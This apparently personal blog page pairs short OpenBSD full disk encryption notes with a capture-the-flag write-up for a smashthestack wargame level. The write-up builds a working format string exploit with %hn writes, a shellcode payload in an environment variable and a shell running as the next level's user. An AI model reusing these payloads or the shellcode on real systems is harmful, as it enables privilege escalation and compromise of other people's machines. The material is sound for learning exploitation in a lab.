Saturday, August 3, 2013

Full Disk Encryption on OpenBSD

Just some notes to myself on how to setup full disk encryption on Openbsd. Pretty much http://www.tedunangst.com/flak/post/OpenBSD-softraid-crypto-boot.

1. Boot into install shell

2. fdisk -i sd0

3. disklabel -E sd0
a a (RAID)
w
q

4. bioctl -c C -l /dev/sd0a softraid0

install (use crypto disk, sd2)

IO Level 9

Level 9 from io.smashthestack.org.

Classic format string vulnerability.

Popping off 9 pointers from the stack positions things to point to the beginning of user controlled data (As, Bs, and Cs).

level9@io:/tmp/dennis9$ ./level09 AAAABBBBCCCC%p.%p.%p.%p.%p.%p.%p.%p.%p
AAAABBBBCCCC0xbffffe8a.0x3ff.0x149d7c.0x149d7c.0xf0.0xf0.0x41414141.0x42424242.0
x43434343level9@io:/tmp/dennis9$


Changing the last %p format specifier to a %hn (write the number of characters written so far to its respective argument) causes a nice segfault when trying to write to the unmapped address. The "h" modifier restrains the write to a short (2 bytes).

(gdb) run `perl -e 'print "AAAABBBBCCCC" . "%p.%p.%p.%p.%p.%p.%p.%p.%hn"'`
Starting program: /tmp/dennis9/level09 `perl -e 'print "AAAABBBBCCCC" . "%p.%p.%
p.%p.%p.%p.%p.%p.%hn"'`

Program received signal SIGSEGV, Segmentation fault.
0xb7ecbaf2 in vfprintf () from /lib/i386-linux-gnu/libc.so.6
(gdb) x/i $eip
=> 0xb7ecbaf2 <vfprintf+17954>: mov    %dx,(%eax)
(gdb) x/x $eax
0x43434343:     Cannot access memory at address 0x43434343
(gdb) info reg edx
edx            0x4f     79


The target address to overwrite will be main()'s saved return address. It will be overwritten in two parts: the lower word then the upper word.

(gdb) break 9
Breakpoint 8 at 0x8048483: file level09.c, line 9.
(gdb) break 10
Breakpoint 9 at 0x804848f: file level09.c, line 10.
(gdb) info frame
Stack level 0, frame at 0xbffffcc0:
 eip = 0x804848f in main (level09.c:11); saved eip 0x450039
 source language c.
 Arglist at 0xbffffcb8, args: argc=2, argv=0xbffffd64
 Locals at 0xbffffcb8, Previous frame's sp is 0xbffffcc0
 Saved registers:
  ebp at 0xbffffcb8, eip at 0xbffffcbc
(gdb) run `perl -e 'print "\xbc\xfc\xff\xbf" . "BBBB" . "\xbe\xfc\xff\xbf" . "%p
.%p.%p.%p.%p.%p.%hn.%p.%hn"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /tmp/dennis9/level09 `perl -e 'print "\xbc\xfc\xff\xbf" . "BBB
B" . "\xbe\xfc\xff\xbf" . "%p.%p.%p.%p.%p.%p.%hn.%p.%hn"'`

Breakpoint 8, main (argc=2, argv=0xbffffd64) at level09.c:9
9               printf(buf);
(gdb) x/x 0xbffffcbc
0xbffffcbc:     0xb7e9ee16
(gdb) c
Continuing.

Breakpoint 9, main (argc=2, argv=0xbffffd64) at level09.c:11
11              return 0;
(gdb) x/x 0xbffffcbc
0xbffffcbc:     0x00450039


Since the address is being overwritten in two parts, two addresses are needed. The first %hn will overwrite the word starting at 0xbffffcbc with the number of characters written so far. The second %hn will overwrite the word starting at 0xbffffcbe, two bytes from the first one.

Now on to manipulating the number of characters printed to write an arbitrary value at the address. Specifying a minimum field width to a "%u" format specifier adds to the character count, so if the value 0x4141 is desired in the lower word, a format specifier like this will suffice (53 is the number of other characters already written).

(gdb) print /d 0x4141 - 53
$13 = 16652


For the upper word, if 0x6151 is desired, then the following (16652 from the previous math problem and 55 additional characters).

(gdb) print /d 0x6161 - 55 - 16652
$23 = 8222

(gdb) run `perl -e 'print "\xbc\xfc\xff\xbf" . "BBBB" . "\xbe\xfc\xff\xbf" . "%p
.%p.%p.%p.%p.%.16652u.%hn.%.8222u.%hn"'`
...
(gdb) x/x 0xbffffcbc
0xbffffcbc:     0x61614141


Next up is putting some shellcode into an environment and getting its address.

level9@io:/tmp/dennis9$ cat sc.py
nops = "\x90" * 50

# aleph one's shellcode from smashing the stack for fun and profit
shellcode = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x8
9\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xf
f\xff/bin/sh"

print nops + shellcode

level9@io:/tmp/dennis9$ cat level9e.c
#include <stdio.h>
/* progname must be the same length as level09 */

int main()
{
        char *envaddr;

        envaddr = getenv("EGG");
        printf("EGG is at %p\n", envaddr);
}


level9@io:/tmp/dennis9$ export EGG=`python sc.py`

level9@io:/tmp/dennis9$ /tmp/dennis9/le
EGG is at 0xbffffeaa


Finally, adjusting offsets for production. The number of stack pops required will change, the %u offsets will need to be recalculated and main()'s saved return address has to be adjusted.

level9@io:/tmp/dennis9$ /levels/level09 AAAABBBBCCCC%p.%p.%p.%p.%p.%p
AAAABBBBCCCC0xbffffe23.0x3ff.0x149d7c.0x41414141.0x42424242.0x43434343level9@io:
/tmp/dennis9$

(gdb) print /d 0xfeaa - 30
$1 = 65164

(gdb) print /d 0x1bfff - 32 - 65164
$2 = 49491

(gdb) run `perl -e 'print "\x5c\xfc\xff\xbf" . "BBBB" . "\x5e\xfc\xff\xbf" . "%p
.%p.%.65164u.%hn.%.49491u.%hn"'`
...
(gdb) x/x 0xbffffc5c
0xbffffc5c:     0xbffffeaa
(gdb) x/i 0xbffffeaa
   0xbffffeaa:  nop


And outside of the the debugger.

level9@io:/tmp/dennis9$ /levels/level09 `perl -e 'print "\x5c\xfc\xff\xbf" . "BB
BB" . "\x5e\xfc\xff\xbf" . "%p.%p.%.65164u.%hn.%.49491u.%hn"'`
...
sh-4.2$ id
uid=1009(level9) gid=1009(level9) euid=1010(level10) groups=1010(level10),1009(l
evel9),1029(nosu)
sh-4.2$ cat /home/level10/.pass

shhh don't snitch